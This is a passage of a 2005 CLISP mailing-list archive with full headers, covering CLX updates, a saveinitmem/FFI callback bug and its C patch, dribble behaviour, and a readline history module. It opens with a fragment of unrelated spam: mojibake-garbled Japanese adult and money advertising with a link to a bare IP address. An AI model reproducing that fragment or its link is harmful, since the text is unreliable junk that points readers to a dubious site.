‚°‚È‚ª‚玩•ª‚Ì«ˆ—‚ðŽè“`‚킹‚Ä‚¢‚Ü‚·B SEX‚Æ‚¨¬Œ­‚¢Aˆê“x‚ɃQƒbƒg‚Å‚«‚é‹@‰ï‚ðŽŽ‚µ‚Ă݂Ă͂¢‚©‚ª‚Å‚·‚©H http://69.50.166.218/~lvytv/ From sds@gnu.org Tue Sep 27 15:48:44 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EKOFg-00042S-Gu for clisp-list@lists.sourceforge.net; Tue, 27 Sep 2005 15:48:44 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EKOFf-00048k-8N for clisp-list@lists.sourceforge.net; Tue, 27 Sep 2005 15:48:44 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.182]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j8RMmX6x009150 for ; Tue, 27 Sep 2005 18:48:33 -0400 (EDT) To: clisp-list@lists.sourceforge.net Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold Mail-Followup-To: clisp-list@lists.sourceforge.net Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] CLX updates Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Sep 27 15:49:37 2005 X-Original-Date: Tue, 27 Sep 2005 18:47:34 -0400 NEW-CLX users (direct and via garnet, clue, clio et al) are urged to try out cvs head which includes some performance enhancements (MAP instead of ELT). MIT-CLX users (direct and via garnet, clue, clio et al) are urged to switch to cvs head NEW-CLX and report incompletenesses as bugs. thanks. -- Sam Steingold (http://www.podval.org/~sds) running w2k I don't want to be young again, I just don't want to get any older. From zellerin@gmail.com Wed Sep 28 23:14:42 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EKrgk-00033l-MM for clisp-list@lists.sourceforge.net; Wed, 28 Sep 2005 23:14:38 -0700 Received: from zproxy.gmail.com ([64.233.162.197]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EKrgi-0002SI-AN for clisp-list@lists.sourceforge.net; Wed, 28 Sep 2005 23:14:38 -0700 Received: by zproxy.gmail.com with SMTP id 14so79919nzn for ; Wed, 28 Sep 2005 23:14:30 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition; b=SJWPPTOjyuF3b3Jr+mbNJYDMOl5hZ/SfQFFHRBPCJNUmvTZBsCTDpFgCxca5YWXE4F3YJ+Xcl/Mp/MOxYiHa5fLicINvDwoTzvDV/QYTYEI0777pgm60M7Sp8HI6ZSx7cjHgnDz2sWxwZ12aswU7UNlZTvlJ6IaN+M5ZAj6GH+c= Received: by 10.36.39.15 with SMTP id m15mr750957nzm; Wed, 28 Sep 2005 23:14:30 -0700 (PDT) Received: by 10.36.33.14 with HTTP; Wed, 28 Sep 2005 23:14:30 -0700 (PDT) Message-ID: From: Tomas Zellerin Reply-To: Tomas Zellerin To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_QUESTION BODY: Text interparsed with ? Subject: [clisp-list] saveinitmem and ffi Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Sep 28 23:15:30 2005 X-Original-Date: Thu, 29 Sep 2005 08:14:30 +0200 Hello, while trying to make more from included readline, I encountered a problem that can be shown on this example: (use-package 'ffi) (def-call-out add-defun (:name "rl_add_defun") (:library :default) (:arguments (name c-string :in :malloc-free) =09 (callback (c-function (:language :stdc) =09=09=09 (:arguments (rep int) (char int))) =09 :in :malloc-free) =09 (key int)) (:language :stdc) (:return-type int)) (defun init () (labels ((edit-history (key rep) (print key) (print rep))) (add-defun "edit-history" #'edit-history -1))) (init) (push #'init *init-hooks*) (saveinitmem "foo") That is, a function with callback to linux is defined and then called. Now, this works fine when loaded (compiled or not), but when later loaded from image, it makes problem when compiled: $ clisp -norc -C problem.lisp $ clisp -q -M foo.mem *** - FFI::FOREIGN-CALL-OUT: # comes fr= om a previous Lisp session and is invalid The following restarts are available: SKIP :R1 skip (SAVEINITMEM foo) STOP :R2 stop loading file /home/tomas/src/misc/problem.lisp ABORT :R3 ABORT $ clisp -norc problem.lisp $ clisp -q -M foo.mem [1]> When read-history is defined with defun, it makes same problem even when not compiled. Am I doing something that should not be done? Can I achieve the effect otherwise?Even proper RTFM is welcome - I failed to find anything on topic. Tested with clisp 2.35, on various Linuxes. Best regards, Tomas Zellerin From sds@gnu.org Thu Sep 29 06:19:20 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EKyJi-00065l-Cb for clisp-list@lists.sourceforge.net; Thu, 29 Sep 2005 06:19:18 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EKyJe-0003Uy-Oo for clisp-list@lists.sourceforge.net; Thu, 29 Sep 2005 06:19:18 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.182]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j8TDJ1wH007012; Thu, 29 Sep 2005 09:19:01 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Tomas Zellerin Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Tomas Zellerin's message of "Thu, 29 Sep 2005 08:14:30 +0200") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Tomas Zellerin Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: saveinitmem and ffi Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Sep 29 06:22:28 2005 X-Original-Date: Thu, 29 Sep 2005 09:18:04 -0400 Hi, > * Tomas Zellerin [2005-09-29 08:14:30 +0200]: > > while trying to make more from included readline, I encountered a > problem that can be shown on this example: > > (use-package 'ffi) > (def-call-out add-defun > (:name "rl_add_defun") > (:library :default) try (:library "libreadline.so") > *** - FFI::FOREIGN-CALL-OUT: # comes from > a previous Lisp session and is invalid foreign pointers are updated when it is known what library they come from. -- Sam Steingold (http://www.podval.org/~sds) running w2k Marriage is the sole cause of divorce. From sds@gnu.org Thu Sep 29 06:41:01 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EKyei-0007Ch-O2 for clisp-list@lists.sourceforge.net; Thu, 29 Sep 2005 06:41:00 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EKyeh-0003SW-8f for clisp-list@lists.sourceforge.net; Thu, 29 Sep 2005 06:41:00 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.182]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j8TDeCAN010435; Thu, 29 Sep 2005 09:40:12 -0400 (EDT) To: clisp-list@lists.sourceforge.net, olsson@cs.ucdavis.edu (Ron Olsson) Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <200509162210.j8GMA30a019201@pi.cs.ucdavis.edu> (Ron Olsson's message of "Fri, 16 Sep 2005 15:10:03 -0700") References: <200509162210.j8GMA30a019201@pi.cs.ucdavis.edu> Mail-Followup-To: clisp-list@lists.sourceforge.net, olsson@cs.ucdavis.edu (Ron Olsson) Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: behavior of -x that uses a dribble in clisp-2.33.2 vs. in clisp-2.35 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Sep 29 06:44:00 2005 X-Original-Date: Thu, 29 Sep 2005 09:39:14 -0400 > * Ron Olsson [2005-09-16 15:10:03 -0700]: > > dribble behaves differently between clisp-2.33.2 and clisp-2.35. > > E.g., give the command > > % clisp -q -i init.lisp -x '(test)' > > where init.lisp contains only > > (defun test () > (delete-file "zz") (dribble "zz") (format t "hi~%") (dribble)) > > For clisp-2.33.2, all output goes to the file zz, which I think is the > correct behavior. > > For clisp-2.35, the "hi" comes to the screen and zz contains only the > start and finish of dribble lines, e.g., > ;; Dribble of # started 2005-09-16 14:26:53 > ;; Dribble of # finished 2005-09-16 14:26:53 > > When I run either clisp interactively with > > % clisp -q -i init.lisp > > and type (test), the output goes to file zz and the screen. > > Is the above difference in behavior a bug or is dribble's behavior > implementation dependent? the short and sweet answer is: http://www.lisp.org/HyperSpec/Body/fun_dribble.html: dribble is intended primarily for interactive debugging; its effect cannot be relied upon when used in a program. the longer answer ... well, I will look at it ... -- Sam Steingold (http://www.podval.org/~sds) running w2k When you are arguing with an idiot, your opponent is doing the same. From pjb@informatimago.com Thu Sep 29 09:21:30 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EL19z-0007AK-De for clisp-list@lists.sourceforge.net; Thu, 29 Sep 2005 09:21:27 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EL19x-0004Hj-8p for clisp-list@lists.sourceforge.net; Thu, 29 Sep 2005 09:21:27 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 684605833D; Thu, 29 Sep 2005 18:21:10 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 53FC4582FA; Thu, 29 Sep 2005 18:21:07 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 703A310F9F6; Thu, 29 Sep 2005 18:21:06 +0200 (CEST) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17212.5234.302337.173468@thalassa.informatimago.com> To: Tomas Zellerin Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] saveinitmem and ffi In-Reply-To: References: X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=0.2 required=5.0 tests=BAYES_00, UNWANTED_LANGUAGE_BODY autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_QUESTION BODY: Text interparsed with ? 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Sep 29 09:24:31 2005 X-Original-Date: Thu, 29 Sep 2005 18:21:06 +0200 Tomas Zellerin writes: > Hello, > > while trying to make more from included readline, I encountered a > problem that can be shown on this example: > > (use-package 'ffi) > (def-call-out add-defun > (:name "rl_add_defun") > (:library :default) > (:arguments (name c-string :in :malloc-free) > (callback (c-function (:language :stdc) > (:arguments (rep int) (char int))) > :in :malloc-free) > (key int)) > (:language :stdc) > (:return-type int)) > (defun init () > (labels ((edit-history (key rep) > (print key) > (print rep))) > (add-defun "edit-history" #'edit-history -1))) > (init) > (push #'init *init-hooks*) > (saveinitmem "foo") > > That is, a function with callback to linux is defined and then called. > Now, this works fine when loaded (compiled or not), but when later > loaded from image, it makes problem when compiled: > > $ clisp -norc -C problem.lisp > $ clisp -q -M foo.mem > > *** - FFI::FOREIGN-CALL-OUT: # comes from > a previous Lisp session and is invalid > The following restarts are available: > SKIP :R1 skip (SAVEINITMEM foo) > STOP :R2 stop loading file /home/tomas/src/misc/problem.lisp > ABORT :R3 ABORT > $ clisp -norc problem.lisp > $ clisp -q -M foo.mem > [1]> > > When read-history is defined with defun, it makes same problem even > when not compiled. > > Am I doing something that should not be done? Can I achieve the effect > otherwise?Even proper RTFM is welcome - I failed to find anything on > topic. Don't you have any idea of why this happens? In the first process, you dynamically load and link a library. When you save the memory image, all files, including that library, are closed. When you start the second process, this dynamic library is still closed, so of course, you cannot call function that are stored in it! The solution should be obvious: use the :init-function argument to ext:saveinitmem and rerun the dynamic linkings in the new processes. -- "Specifications are for the weak and timid!" From sds@gnu.org Thu Sep 29 14:42:56 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EL6B1-0006Kt-6i for clisp-list@lists.sourceforge.net; Thu, 29 Sep 2005 14:42:51 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EL6Ax-0005Hc-Jd for clisp-list@lists.sourceforge.net; Thu, 29 Sep 2005 14:42:51 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.182]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j8TLgVIM021195 for ; Thu, 29 Sep 2005 17:42:32 -0400 (EDT) To: clisp-list@lists.sourceforge.net Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold Mail-Followup-To: clisp-list@lists.sourceforge.net Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] readline interface Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Sep 29 14:43:36 2005 X-Original-Date: Thu, 29 Sep 2005 17:41:34 -0400 there have been expressed some interest in the past to have a wider access to the readline features, e.g., saving history into files &c. you can do that now with the new readline module by putting this into your ~/.clisp: ========================================== (readline:read-history "~/.clisp-history") (push (lambda () (readline:write-history "~/.clisp-history")) custom:*fini-hooks*) ========================================== the module is very small and basic, please feel free to send additions. -- Sam Steingold (http://www.podval.org/~sds) running w2k Lisp is a language for doing what you've been told is impossible. - Kent Pitman From sds@gnu.org Thu Sep 29 15:22:52 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EL6nj-0008EL-TQ for clisp-list@lists.sourceforge.net; Thu, 29 Sep 2005 15:22:51 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EL6nh-0003Q9-Bq for clisp-list@lists.sourceforge.net; Thu, 29 Sep 2005 15:22:51 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.182]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j8TMMZRe024150; Thu, 29 Sep 2005 18:22:36 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Tomas Zellerin Cc: Bruno Haible , Joerg-Cyril.Hoehle@t-systems.com Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Tomas Zellerin's message of "Thu, 29 Sep 2005 08:14:30 +0200") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Tomas Zellerin , Bruno Haible , Joerg-Cyril.Hoehle@t-systems.com Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: saveinitmem and ffi Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Sep 29 15:24:00 2005 X-Original-Date: Thu, 29 Sep 2005 18:21:38 -0400 > * Tomas Zellerin [2005-09-29 08:14:30 +0200]: > > while trying to make more from included readline, I encountered a > problem that can be shown on this example: > > (use-package 'ffi) > (def-call-out add-defun > (:name "rl_add_defun") > (:library :default) > (:arguments (name c-string :in :malloc-free) > (callback (c-function (:language :stdc) > (:arguments (rep int) (char int))) > :in :malloc-free) > (key int)) > (:language :stdc) > (:return-type int)) > (defun init () > (labels ((edit-history (key rep) > (print key) > (print rep))) > (add-defun "edit-history" #'edit-history -1))) > (init) > (push #'init *init-hooks*) > (saveinitmem "foo") > > That is, a function with callback to linux is defined and then called. > Now, this works fine when loaded (compiled or not), but when later > loaded from image, it makes problem when compiled: > > $ clisp -norc -C problem.lisp > $ clisp -q -M foo.mem > > *** - FFI::FOREIGN-CALL-OUT: # comes from > a previous Lisp session and is invalid > The following restarts are available: > SKIP :R1 skip (SAVEINITMEM foo) > STOP :R2 stop loading file /home/tomas/src/misc/problem.lisp > ABORT :R3 ABORT > $ clisp -norc problem.lisp > $ clisp -q -M foo.mem > [1]> > > When read-history is defined with defun, it makes same problem even > when not compiled. a callback is allocated on the heap (with malloc) and it cannot be saved into an image. the reason you are not getting the error under some conditions is that there is no attempt made to re-use the saved callback because the lisp function corresponding to the callback was not found in the callback hash table. PROPOSED SOLUTION: 1. exit_ffi() should release all callbacks and replace them in O(foreign_callin_vector) with NIL. this is not strictly necessary (you do not have to free all your mallocs before exit, but I think this is "good taste"). Bruno, Joerg, should we do this? 2. when convert_function_to_foreign() finds in invalid (or NIL) triple[1], it should just call alloc_callback(); see the appended patch. Tomas, could you please try this patch? it appears to fix the bug you reported. -- Sam Steingold (http://www.podval.org/~sds) running w2k If abortion is murder, then oral sex is cannibalism. --- foreign.d 21 Sep 2005 14:10:34 -0400 1.144 +++ foreign.d 29 Sep 2005 18:20:45 -0400 @@ -442,12 +442,23 @@ if (equal_fvd(resulttype,Car(acons)) && equal_argfvds(argtypes,Car(Cdr(acons))) && eq(flags,Car(Cdr(Cdr(acons))))) { - var gcv_object_t* triple = &TheSvector(TheIarray(O(foreign_callin_vector))->data)->data[3*posfixnum_to_V(Cdr(Cdr(Cdr(acons))))-2]; - triple[2] = fixnum_inc(triple[2],1); /* increment reference count */ + var uintV f_index = posfixnum_to_V(Cdr(Cdr(Cdr(acons)))); + var gcv_object_t* triple = &TheSvector(TheIarray(O(foreign_callin_vector))->data)->data[3*f_index-2]; var object ffun = triple[1]; ASSERT(equal_fvd(resulttype,TheFfunction(ffun)->ff_resulttype)); ASSERT(equal_argfvds(argtypes,TheFfunction(ffun)->ff_argtypes)); ASSERT(eq(flags,TheFfunction(ffun)->ff_flags)); + var object faddress = TheFfunction(ffun)->ff_address; + if (fp_validp(TheFpointer(TheFaddress(faddress)->fa_base))) { + triple[2] = fixnum_inc(triple[2],1); /* increment reference count */ + } else { /* callback from the previous session -- renew */ + /* leave the reference count alone */ + begin_system_call(); + TheFaddress(faddress)->fa_offset = + (uintP)alloc_callback(&callback,(void*)(uintP)f_index); + end_system_call(); + TheFaddress(faddress)->fa_base = O(fp_zero); + } return ffun; } } From sds@gnu.org Thu Sep 29 15:29:26 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EL6u6-0000D1-82 for clisp-list@lists.sourceforge.net; Thu, 29 Sep 2005 15:29:26 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EL6u2-0002at-Oa for clisp-list@lists.sourceforge.net; Thu, 29 Sep 2005 15:29:26 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.182]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j8TMSbp3024607; Thu, 29 Sep 2005 18:28:37 -0400 (EDT) To: clisp-list@lists.sourceforge.net, olsson@cs.ucdavis.edu (Ron Olsson) Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <200509162210.j8GMA30a019201@pi.cs.ucdavis.edu> (Ron Olsson's message of "Fri, 16 Sep 2005 15:10:03 -0700") References: <200509162210.j8GMA30a019201@pi.cs.ucdavis.edu> Mail-Followup-To: clisp-list@lists.sourceforge.net, olsson@cs.ucdavis.edu (Ron Olsson) Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] Re: behavior of -x that uses a dribble in clisp-2.33.2 vs. in clisp-2.35 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Sep 29 15:31:56 2005 X-Original-Date: Thu, 29 Sep 2005 18:27:39 -0400 > * Ron Olsson [2005-09-16 15:10:03 -0700]: > > dribble behaves differently between clisp-2.33.2 and clisp-2.35. that said, I think I restored the dribble behavior you wanted (it still won't work for scripts, but it will for -x) -- Sam Steingold (http://www.podval.org/~sds) running w2k If brute force does not work, you are not using enough. From zellerin@gmail.com Thu Sep 29 23:36:12 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ELEVA-0005gD-9L for clisp-list@lists.sourceforge.net; Thu, 29 Sep 2005 23:36:12 -0700 Received: from zproxy.gmail.com ([64.233.162.198]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ELEV8-0003mC-RI for clisp-list@lists.sourceforge.net; Thu, 29 Sep 2005 23:36:12 -0700 Received: by zproxy.gmail.com with SMTP id i11so861176nzh for ; Thu, 29 Sep 2005 23:36:04 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references; b=EH1r8FwaRH+fL3NxiZfmixFFlRodKcszoWJbCjfdFzY3HulBq0B4VcDtGkT0HKnwRfdVH8y7/K57rEdSs5vc5mYHMr/YAT/b+lOJ0tprIM6enDdyVgLynMoTnXLV+OIWSkta5szYLN4EDZfXV1GBGf6MeL1b+1KxNHG51n7y9v0= Received: by 10.36.75.12 with SMTP id x12mr5304986nza; Thu, 29 Sep 2005 23:36:04 -0700 (PDT) Received: by 10.36.222.6 with HTTP; Thu, 29 Sep 2005 23:36:04 -0700 (PDT) Message-ID: From: Tomas Zellerin Reply-To: Tomas Zellerin To: clisp-list@lists.sourceforge.net, Bruno Haible , Joerg-Cyril.Hoehle@t-systems.com In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline References: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: [clisp-list] Re: saveinitmem and ffi Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Sep 29 23:37:22 2005 X-Original-Date: Fri, 30 Sep 2005 08:36:04 +0200 Thanks, I'll try the patch and report. Looking at it for another time, I should probably try it again without calling (init) 